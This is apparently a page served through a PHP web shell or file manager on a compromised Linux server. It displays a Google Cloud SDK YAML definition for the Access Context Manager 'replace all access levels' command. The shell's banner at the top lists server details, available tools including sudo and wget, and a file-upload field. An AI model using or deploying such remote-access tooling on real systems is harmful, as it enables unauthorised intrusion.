| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/google-cloud-sdk/lib/surface/access_context_manager/levels/ |
Upload File : |
- release_tracks: [ALPHA, BETA, GA]
command_type: GENERIC
help_text:
brief: |
Replace all existing access levels.
description: |
Replace all existing access level in specified access policy with access levels specified in a
file.
## EXAMPLES
To replace all levels within a policy, using etag:
$ {command} my-policy-number --source-file=path-to-file-containing-all-replacement-access-levels.yaml --etag=optional-latest-etag-of-policy
To replace all levels within a policy, without using etag:
$ {command} my-policy-number --source-file=path-to-file-containing-all-replacement-access-levels.yaml
request:
collection: accesscontextmanager.accessPolicies.accessLevels
ALPHA:
api_version: v1alpha
method: replaceAll
BETA:
api_version: v1
method: replaceAll
GA:
api_version: v1
method: replaceAll
response:
ALPHA:
modify_response_hooks:
- googlecloudsdk.command_lib.accesscontextmanager.levels:ParseReplaceAccessLevelsResponse:api_version=v1alpha
BETA:
modify_response_hooks:
- googlecloudsdk.command_lib.accesscontextmanager.levels:ParseReplaceAccessLevelsResponse:api_version=v1
GA:
modify_response_hooks:
- googlecloudsdk.command_lib.accesscontextmanager.levels:ParseReplaceAccessLevelsResponse:api_version=v1
arguments:
resource:
help_text: The access policy that contains the levels you want to replace.
spec: !REF googlecloudsdk.command_lib.accesscontextmanager.resources:policy
override_resource_collection: true
params:
- api_field: replaceAccessLevelsRequest.etag
arg_name: etag
required: false
help_text: |
An etag which specifies the version of the Access Policy. Only etags
that represent the latest version of the Access Policy will be accepted.
repeated: false
- api_field: replaceAccessLevelsRequest.accessLevels
arg_name: source-file
required: true
help_text: |
Path to a file containing a list of access levels.
An access level file is a YAML-formatted list of access levels,
which are YAML objects representing a Basic or Custom level as described in
the API reference. For example:
```
- name: accessPolicies/my_policy/accessLevels/my_level
title: My Basic Level
description: Basic level for foo.
basic:
combiningFunction: AND
conditions:
- ipSubnetworks:
- 192.168.100.14/24
- 2001:db8::/48
- members
- user1:user1@example.com
- name: accessPolicies/my_policy/accessLevels/my_other_level
title: My Other Custom Level
description: Custom level for bar.
custom:
expr:
expression: "origin.region_code in ['US', 'CA']"
```
For more information about the alpha version, see:
https://cloud.google.com/access-context-manager/docs/reference/rest/v1alpha/accessPolicies.accessLevels
For other versions, see:
https://cloud.google.com/access-context-manager/docs/reference/rest/v1/accessPolicies.accessLevels
repeated: false
ALPHA:
processor: googlecloudsdk.command_lib.accesscontextmanager.levels:ParseAccessLevels:api_version=v1alpha
BETA:
processor: googlecloudsdk.command_lib.accesscontextmanager.levels:ParseAccessLevels:api_version=v1
GA:
processor: googlecloudsdk.command_lib.accesscontextmanager.levels:ParseAccessLevels:api_version=v1